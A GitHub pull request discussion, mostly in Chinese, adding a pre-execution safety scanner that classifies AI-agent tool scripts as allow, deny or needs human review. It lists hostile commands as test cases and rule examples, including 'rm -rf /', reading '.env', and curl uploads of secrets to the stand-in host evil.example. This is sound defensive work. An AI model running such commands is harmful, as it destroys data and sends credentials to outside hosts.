feat: add tool script safety guard#113
Conversation
Codecov Report❌ Patch coverage is
Additional details and impacted files@@ Coverage Diff @@
## main #113 +/- ##
==========================================
Coverage ? 88.48134%
==========================================
Files ? 488
Lines ? 45830
Branches ? 0
==========================================
Hits ? 40551
Misses ? 5279
Partials ? 0 ☔ View full report in Codecov by Harness. 🚀 New features to boost your workflow:
|
|
CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅ |
ccf18ad to
8bc9647
Compare
|
I have read the CLA Document and I hereby sign the CLA |
8bc9647 to
343a75c
Compare
|
麻烦加一下设计文档,给出请求处理流程,当遇到不同程度的命令对应处理的结果 |
感谢 您的review,已补充设计文档:examples/tool_safety/DESIGN.md。 文档中补充了请求进入 Safety Guard 后的完整处理流程、finding 聚合为 allow / 另外补充了三类完整 JSON response 示例,分别覆盖 allow、needs_human_review 和 |
e96482d to
d62c193
Compare
|
|
||
| ## 设计目标 | ||
|
|
||
| Tool、Skill、MCP Tool 和 CodeExecutor 都可能执行脚本、shell 命令、外部进程或网络请求。Safety Guard 的目标是在真实执行前完成静态扫描和策略判断,把明显危险的请求拦截在执行边界外,并为不确定请求提供人工复核、审计和 telemetry 信息。 |
There was a problem hiding this comment.
是否可以补充真正模型执行的例子?例如:构建一个真正的agent,让它跑这些Tool、Skill、MCP Tool 和 CodeExecutor。看看遇到不同级别的危险命令是怎么处理的
There was a problem hiding this comment.
感谢您的建议! 已补充如下:
新增了 examples/tool_safety/real_agent_demo/,构建了真实的 LlmAgent + Runner,
挂载了 BashTool、Skill(skill_run)、本地 stdio MCPTool 和 UnsafeLocalCodeExecutor
四条执行路径,每条路径各覆盖 allow / needs_human_review / deny 三种决策场景。
具体场景如下:
- tool_deny:rm -rf / → deny,执行前被拦截
- code_review:subprocess.run → needs_human_review,可选 --block-on-review 阻断
- skill_deny:cat .env → deny
- mcp_deny:curl https://evil.example/upload → deny,在 MCP call 前被拦截
CI 使用 fake model 走同一套接线(tests/tools/safety/test_real_agent_demo.py),
不依赖真实凭据即可验证全矩阵。真实模型(gpt-5.4)的运行输出已固化在
examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md,可直接查看效果。
| return cls( | ||
| allowed_domains=[], | ||
| allowed_commands=["cat", "echo", "grep", "head", "ls", "pwd", "tail", "wc"], | ||
| denied_paths=[ |
There was a problem hiding this comment.
这里的危险命令感觉过于少了,是否可以考虑更多的?
There was a problem hiding this comment.
感谢您的 review,这里确实容易引起误解:
这里的 allowed_commands 是命令白名单(即允许执行的安全命令),不是危险命令列表,
所以它的条数少是预期行为——默认只允许 cat/echo/grep/head/ls/pwd/tail/wc 这些只读无害的命令。
危险命令的检测规则集中在 trpc_agent_sdk/tools/safety/_rules.py,覆盖了:
- rm -rf / find -delete / xargs rm(危险删除)
- sudo / chmod 777 / chown root(提权)
- curl/wget/requests/socket 访问非白名单域名(网络外连)
- pip install / npm install / apt-get install(依赖安装)
- fork bomb / while true / 长 sleep(资源滥用)
- token/secret/password 敏感变量输出或外传(信息泄漏)
- base64 decode | sh / python3 -c / bash -c(内联解释器执行)
README"规则体系"节有完整的规则索引,可以对照确认覆盖范围。
| from ._types import max_risk_level | ||
|
|
||
|
|
||
| class ToolScriptSafetyScanner: |
There was a problem hiding this comment.
常见的危险命令:rm sudo token等规则是在哪
There was a problem hiding this comment.
感谢您的 review,文件组织上确实存在可发现性不足,已在 README中补充了明确的指引。规则实际都存在:
这些规则都存在,是在 _rules.py 而不是 _scanner.py 里:
- rm -rf → _rules.py BASH_RECURSIVE_DELETE(基于正则匹配 rm -rf / rm -fr)
- sudo / chmod 777 / chown root → BASH_PRIVILEGE_ESCALATION
- token/secret/password → SENSITIVE_NAME_RE 模式 + SENSITIVE_OUTPUT规则,覆盖"敏感变量被
echo/curl/print/logging 输出或外传"的场景
_scanner.py 的职责是语言分发、执行上下文检查、聚合结果并生成最终决策,具体规则实现全部在 _rules.py(scan_bash_script / scan_python_script)。README"规则体系"节也明确指向了这一文件,便于后续查阅和扩展。
|
|
||
|
|
||
| @dataclass | ||
| class ToolSafetyPolicy: |
There was a problem hiding this comment.
感谢您提出这个宝贵的问题,用户自定义策略是一个很重要的使用场景。已支持两个维度:
-
YAML 策略配置(无需改代码):ToolSafetyPolicy.from_file() / from_dict() 允许
通过 YAML 文件定制白名单域名、允许命令、禁止路径、超时限制、是否拦截依赖安装/提权等所有字段。
示例见 examples/tool_safety/tool_safety_policy.yaml。 -
自定义规则回调:ToolScriptSafetyScanner 支持 custom_rules 参数和 register_rule() 方法,
类型签名为 SafetyRule = Callable[[ToolScriptScanRequest, ToolSafetyPolicy], Iterable[RiskFinding]]。
用户可以在内置规则基础上追加任意业务语义的检测逻辑,自定义规则的结果会和内置规则一起
参与最终的 decision 聚合。
示例:
def my_rule(req, policy):
if "internal_api" in req.script:
yield RiskFinding(rule_id="MY_CUSTOM_RULE", ...)
scanner = ToolScriptSafetyScanner(custom_rules=[my_rule])
| @@ -0,0 +1,765 @@ | |||
| # Tool Script Safety Guard | |||
|
|
|||
There was a problem hiding this comment.
这里可以写一下使用方式,给出运行的例子,我这边测试可以浮现一下效果
There was a problem hiding this comment.
感谢您的反馈,已在 README 中补充完整的示例章节:
-
CLI 扫描单个脚本(bash/python 均有示例命令):
python3 scripts/tool_safety_check.py
--script examples/tool_safety/samples/bash_pipe.sh
--language bash
--policy examples/tool_safety/tool_safety_policy.yaml
--tool-name example_bash_tool -
真实模型 + Agent 执行链路示例:
cd examples/tool_safety/real_agent_demo
python3 run_agent.py --case tool_deny # 输出 decision=deny blocked=True
python3 run_agent.py --case code_review # 输出 decision=needs_human_review
python3 run_agent.py --case mcp_deny # 输出 decision=deny
已在 examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md 中固化了一份
真实模型(gpt-5.4)的完整运行输出,可直接对照查看 allow/review/deny 三种情况的效果,
无需配置 API Key。
- Add real agent demo (Tool/Skill/MCP Tool/CodeExecutor) with allow/review/deny scenarios - Add register_rule() and custom_rules support to ToolScriptSafetyScanner - Expand dangerous command coverage in _rules.py and _policy.py - Add quick-start usage examples and running instructions to README - Update tests to cover new policy fields and custom rule registration
概述
Resolves #90
本次实现了Tool Script Safety Guard,用于在 Tool / Skill / MCP Tool /
CodeExecutor 执行脚本或命令前进行安全扫描、策略判断、拦截和审计。
主要能力:
allow/deny/needs_human_review三类决策decision、risk_level、rule_id、evidence、recommendationtool.safety.*attributesBashTool和UnsafeLocalCodeExecutor提供 opt-in 接入,不改变默认历史行为
风险覆盖
已覆盖的风险类型:
.env、~/.ssh、凭据文件访问等curl、wget、requests、aiohttp、socket、非白名单域名访问等
subprocess、os.system、shell 管道、命令替换、后台进程、提权命令等
pip install、python -m pip install、npm install、apt install等额外补充的高价值场景:
base64 | shpython -cbash -c/sh -c.env/~/.ssh路径curl --data-binary @.envfind -deletexargs rm -rfos.getenv("API_TOKEN")外传兼容性
核心执行链路接入采用 opt-in 方式,避免破坏现有默认行为。
BashTool和UnsafeLocalCodeExecutor默认保持原有执行逻辑。用户可以通过参数enable_safety_guard=True显式启用安全扫描。启用后:
deny会在执行前阻断脚本或命令needs_human_review默认只记录到safety_report、audit 和 telemetry,不阻断执行
block_on_review=Trueallow会继续执行验收映射
trpc_agent_sdk/tools/safety/_rules.py、_scanner.pytrpc_agent_sdk/tools/safety/_policy.py、examples/ tool_safety/tool_safety_policy.yamlallow、deny、needs_human_reviewtrpc_agent_sdk/tools/safety/_filter.py、_wrapper.pytrpc_agent_sdk/tools/file_tools/_bash_tool.py、trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.pydecision、risk_level、rule_id、risk_type、evidence、recommendationtrpc_agent_sdk/tools/safety/_audit.py、_telemetry.pyscripts/tool_safety_check.pyscripts/tool_safety_manifest_report.pyexamples/tool_safety/samples/manifest.yaml、examples/ tool_safety/all_reports.jsonexamples/tool_safety/README.md样例校验
样例语料由 manifest 驱动:
examples/tool_safety/samples/manifest.yamlexamples/tool_safety/all_reports.jsonscripts/tool_safety_manifest_report.py当前 manifest 状态:
验证
已通过相关测试和校验:
当前结果:
tests/tools/safety:82 passedflake8通过yapf --diff无格式 diff_policy.py和_rules.pypatch coverage 缺失分支测试也验证了单文件 CLI 扫描:
结果:
deny,命中BASH_RECURSIVE_DELETE。文档
新增 examples/tool_safety/README.md,说明: